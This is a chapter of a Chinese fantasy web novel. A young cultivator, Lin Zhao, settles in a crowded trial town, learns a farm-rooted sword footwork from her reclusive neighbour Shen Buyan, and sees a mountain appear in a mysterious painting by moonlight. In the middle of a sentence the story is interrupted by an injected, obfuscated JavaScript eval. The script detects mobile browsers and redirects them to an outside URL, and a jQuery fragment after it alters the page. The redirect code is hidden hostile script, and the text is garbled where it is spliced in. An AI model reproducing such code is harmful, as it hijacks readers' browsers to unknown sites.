玄霄镇比林照想象中更大，也更拥挤。
镇子依山而建，从山脚一直延伸到半山腰。青石板铺成的街道纵横交错，两侧是密密麻麻的店铺、客栈、茶楼、酒肆。街上行人摩肩接踵，有锦衣华服的世家子弟，有风尘仆仆的散修，有吆喝叫卖的小贩，还有维持秩序的玄霄阁外门弟子——他们穿着统一的青色劲装，胸口绣着云纹，在人群中格外显眼。
陈砚家的铺子在镇子西头，是座两层小楼。一楼卖些符纸、朱砂、低阶丹药之类的修行用品，二楼隔出三间客房。店面不大，但位置不错，离试炼报名的广场只有两条街。
“到了。”陈砚掏出钥匙打开门，“我爹说，这铺子开了三十年，每年就靠试炼这一个月赚钱。”
铺子里有个伙计在照看，是个精瘦的中年人，看见陈砚连忙迎上来：“少爷回来了！房间给您留着呢，天字一号房，窗朝南，通风好。”
陈砚点点头，带林照上楼。
天字一号房确实不错。房间不大，但干净整洁，一张床，一张桌，一把椅，还有个小窗户。推开窗，能看见远处的山峦和近处的屋顶。阳光照进来，暖洋洋的。
“林姑娘住这儿，听伙计说隔壁住着个奇怪的邻居，我住对面。”陈砚说，“有事随时叫我。”
安顿下来后，林照想去街上看看。
陈砚要照看铺子——他爹临走前交代，试炼期间生意最忙，得帮着打理。林照便一个人出了门。
街上果然热闹非凡。
卖丹药的摊子前围满了人，摊主是个白胡子老头，举着个瓷瓶唾沫横飞：“上品聚气丹！服一粒可抵三日苦修！限量十瓶，先到先得！”
卖法器的铺子门口挂着各式刀剑，寒光闪闪。有年轻修士在试剑，剑锋划过空气发出尖啸，引来一片喝彩。
最热闹的是广场中央的报名处。十几个玄霄阁弟子坐在长桌后，面前排着长长的队伍。排队的人有的紧张，有的兴奋，有的面无表情。每隔一会儿，就有人被叫到桌前测试骨龄、修为——骨龄超过二十五，修为低于炼气三层，直接淘汰。
林照在人群外围看了一会儿。她没去排队——陈砚说过，报名要持续三天，不急。
她转身走进旁边的小巷，想找个清静地方。
巷子很深，两侧是高墙，墙上爬满青藤。越往里走，人声越远，最后只剩下自己的脚步声和风吹过藤叶的沙沙声。巷子尽头有口古井，井边有棵老槐树，树下摆着几个石凳。
林照在石凳上坐下，从怀里取出那幅画。
解开红丝带，展开卷轴。午后的阳光透过槐树叶隙洒在纸上，斑斑驳驳。那个墨点静静躺在宣纸中央，米粒大小，黝黑深沉。
她盯着墨点看了很久。
然后闭上眼，调动“见云”境的感知。
这一次，她“看”得更清晰了。墨点里确实有东西在动——不是形状的变动，是“气”的流动。像泉水在地下暗涌，像种子在泥土里呼吸，像……像一座山在缓慢生长。
她睁开眼，忽然发现：墨点的颜色，在阳光下似乎深了一分。
不是错觉。她用手指轻轻触摸墨点边缘，指尖传来微微的温热感——像是墨里掺了什么特殊的东西，会在特定光线下产生反应。
“有趣吗？”
一个声音忽然响起。
林照猛地抬头，看见巷口站着个人。是个年轻男子，约莫二十三四岁，一身洗得发白的蓝布衫，腰间挂着把无鞘长剑。剑很旧，剑柄磨得发亮，剑身上有细密的划痕。他面容清瘦，眉骨很高，眼睛细长，眼神很静，像深井里的水。
最特别的是他的站姿——双脚不丁不八，看似随意，但林照能“感觉”到，他的重心稳得像扎根的树，全身没有一丝多余的劲。
这是个高手。
林照收起画卷，站起身：“您是？”
“沈不言。”男子声音很平，没什么起伏，“住你隔壁。”
林照愣了愣。想起陈砚说的“隔壁住着一个奇怪的邻居”——应该就是他了。
“林照。”她说。
沈不言点点头，目光落在她手里的画卷上：“周言的画？”
林照心头一震：“您认识周先生？”
“见过。”沈不言走进巷子，在井边坐下，“三年前，在北封城。他在街头作画，画一座不存在的山。我在旁边看了一天。”
他的说话方式很特别，句子短，停顿多，像在斟酌每个字的分量。
“然后呢？”林照问。
“然后他画完了，画自燃了。”沈不言说，“天火焚画，不留痕迹。围观的人都说他是骗子，是耍戏法的。只有我知道，那是真的。”
“为什么？”
“因为我也看见过。”沈不言抬头看天，“那座山。”
林照屏住呼吸。
沈不言却不再说山的事，转而问：“你是来参加试炼的？”
“是。”
“为什么？”
这个问题今天第二次被问到。林照想了想，给出同样的答案：“想看看这天地有多大，想看看自己能走多远。”
沈不言看了她一眼，眼神里有东西闪了闪：“好。”他说，“但玄霄阁的路，不好走。”
“我知道。”
“你不知道。”沈不言说，“他们考的是‘标准答案’。你的答案，不是他们要的。”
林照沉默了。陈砚也说过类似的话。
沈不言站起身，走到巷子中央。他忽然拔剑——动作很慢，但很稳。剑尖斜指地面，整个人像一张拉满的弓。
“看好了。”他说。
然后他开始舞剑。
不是那种花哨的剑法，是很朴素的招式。劈、刺、撩、抹、削，每个动作都干净利落，没有多余的花招。但林照能“看”到——在“见云”境的感知里，沈不言的剑不是死的，是活的。剑锋划过的轨迹，像水流过石缝，像风吹过麦浪，自然而然地找到阻力最小的路径。
最让她惊讶的是沈不言的步法。
看似简单的前进、后退、侧移，但每一步都恰到好处。像在雨中行走，能避开每一滴雨；像在麦田里穿行，能不碰倒一株麦穗。
“这是……”林照喃喃。
“晒谷步法。”沈不言收剑，气息平稳，“你师父没教你？”
林照愣住了。晒谷步法？师父从没提过……
等等。
她忽然想起，在晒谷观时，每年秋天晒谷子，要在晒谷场上铺开麦穗，又要收起来。晒谷场不大，麦穗铺得满，人在上面走，不能踩到麦穗，又要走得快。师父示范过一种特别的走法：脚步轻，落脚准，转身时像麦浪起伏一样自然。
她当时只觉得那是干活的技巧，从来没想过……
“步法不是学来的，是活出来的。”沈不言说，“你在晒谷观长大，天天在麦田里走，在药田里蹲，在晒谷场上转——你的身体，早就记住了那种节奏。”
他顿了顿：“试着走一走。别想步法，想麦浪。”
林照看着空荡荡的巷子，闭上眼。
她想晒谷观秋天的麦田。风吹过时，麦浪起伏，一层推着一层，像金色的海。人在田埂上走，要顺着麦浪的起伏，不然会绊倒。
她睁开眼，迈出第一步。
脚步很轻，落地时脚掌先着地，然后脚踝微转，把力量均匀分散。第二步，身体微微侧倾，像麦秆被风吹弯。第三步，转身，不是硬转，是顺着身体的惯性，像麦穗在风中摇摆。
很别扭。因为她在“想”，而不是“做”。
“错了。”沈不言说，“别想。走。”
林照深吸口气，闭上眼。这次，她不“想”了。她让自己回到晒谷观，回到那片麦田。她是个收麦子的农人，要在麦浪里穿行，要避开倒伏的麦穗，要找到最省力的路。
她开始走。
第一步，依然别扭。第二步，好了一点。第三步、第四步……渐渐地，她的脚步变得流畅起来。不是刻意的流畅，是那种劳作多年形成的、肌肉记忆里的流畅。像水流下坡，像风吹过林，自然而然。
巷子不长，她走到头，又走回来。
走到沈不言面前时，她睁开眼，发现沈不言在点头。
“有点意思了。”他说，“但还不够‘空’。”
“空？”
“步法要空，心也要空。”沈不言说，“像麦浪，风吹就动，风停就静。没有‘我要怎么走’的念头，只有‘风来了，我动了’的反应。”
林照似懂非懂。
沈不言也不多解释，只说：“每天练。早上练，晚上练，走路时练，吃饭时练。练到忘记自己在练，就对了。”
他收起剑，转身要走。
“沈先生，”林照叫住他，“您为什么要教我？”
沈不言停下脚步，没回头：“因为你的步法里，有麦香。”他顿了顿，“这年头，身上还带着泥土味的人，不多了。”
说完，他走出巷子，消失在拐角。
林照站在原地，回味着刚才的话。
身上还带着泥土味的人……
她低头看看自己的手。手掌有茧，指甲缝里还残留着前几天帮渔夫补网时沾的麻线屑。她确实和街上那些锦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233472|197631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣华服的修士不一样——他们身上是熏香味、丹药味、剑气锋芒味。而她，是泥土味、麦香味、草药味。
她忽然不觉得这有什么不好了。
回到铺子时，天已近黄昏。
陈砚正在柜台上算账，看见林照回来，笑道：“林姑娘逛得如何？可有什么新鲜事？”
“遇见个邻居。”林照说，“沈不言。”
陈砚手一顿，笔尖在账本上洇开一团墨：“你遇见他了？他说什么了？”
“教了我一套步法。”
陈砚放下笔，表情复杂：“沈不言这个人……很怪。他来镇上半个月了，整天闭门不出，偶尔出门就是去后山练剑。我听掌柜说，他剑法极高，但身上没有门派印记，是个散修。”他压低声音，“有人猜他是某个大宗门叛逃的弟子，也有人说他是隐居的高人之后。总之，离他远点为好。”
林照想起沈不言那双深井般的眼睛，点点头：“知道了。”
但心里想的却是：能说出“步法不是学来的，是活出来的”这种话的人，怎么可能是坏人？
晚饭是伙计做的，简单的一菜一汤。吃过饭，林照回房休息。
夜里，她躺在床上，回想白天沈不言教的步法。想着想着，忽然坐起身，在房间里试着走起来。
房间很小，走不了几步就到头。但她不在意，只是一遍遍地走，从床走到窗，从窗走到门。开始时还想着步法要领，后来渐渐忘了，只是走。脚步很轻，落地无声，像猫。
走了约莫半个时辰，她忽然停住。
因为她“听”到了——不是用耳朵，是用“见云”境的感知。她“听”到隔壁房间有极细微的声音：呼吸声，绵长平稳；还有……剑鸣声？不是真的鸣响，是剑气在空气中流动的“声音”。
沈不言在练剑。
林照闭上眼睛，将感知聚焦在隔壁。
她“看”到了——不是具体的影像，是气的流动。沈不言的剑气很特别，不是锋利的，是温润的。像春雨，细密无声，但能渗透万物。他在房间里舞剑，剑气在方寸之间流转，不碰墙壁，不碰家具，像水在容器里流动，自然填满每一处空隙。
最让她惊讶的是沈不言的呼吸。
呼吸与剑招完全同步。吸气时剑起，呼气时剑落，一呼一吸，一剑一招，浑然一体。就像……就像麦浪起伏与风的关系。
林照忽然明白了沈不言说的“空”。
不是真的空，是“无我”。不是“我在舞剑”，是“剑在舞”；不是“我在呼吸”，是“呼吸在呼吸”。人成了媒介，成了通道，让天地间的“气”自然流过。
她重新开始走步。
这次，她不“想”步法，也不想麦田。她只是走，让脚步自己找路。就像风吹麦浪，麦浪不知道风从哪里来，要往哪里去，只是顺着风的力道，自然而然地起伏。
一步，两步，三步……
渐渐地，她的呼吸与脚步同步了。吸气时抬脚，呼气时落脚。每一步都踏在呼吸的节点上，像钟摆一样规律。
她越走越慢，但越走越稳。房间里没有风，但她感觉自己像在麦浪里穿行，每一步都顺着某种看不见的“流”。
不知走了多久，她停下来，睁开眼。
窗外月色正好，银辉洒进房间，在地上铺出一片清光。她走到窗边，看见远处的山峦在月光下勾勒出朦胧的轮廓。
像一幅水墨画。
她忽然想起怀里的那幅画。取出来，在月光下展开。
月光照在宣纸上，那个墨点……在发光。
不是刺眼的光，是莹莹的微光，像夜明珠，像萤火虫。光很淡，但在夜色里清晰可见。更神奇的是，墨点周围，隐约浮现出极淡的轮廓——山的轮廓。虽然模糊，但确实是山。
林照屏住呼吸，盯着画看。
月光移动，轮廓也在变化。有时像险峰，有时像缓坡，有时像……像一座小屋的剪影。
她看了很久，直到月光偏斜，轮廓消失，墨点恢复原状。
她把画重新卷好，贴身收好。
躺在床上时，她还在想：周言画这座山，沈不言见过这座山，她现在在画里看见这座山。这座山……到底在哪里？
窗外的玄霄镇渐渐安静下来。远处传来打更的声音：三更天了。
林照闭上眼睛。
梦里，她走在一条山路上。路很陡，云雾缭绕，看不见前方。但她走得很稳，每一步都踏得很实。走着走着，云雾散开，她看见山顶有座小屋，屋里有光。
她朝着光走去。
脚步轻快，像在麦田里穿行。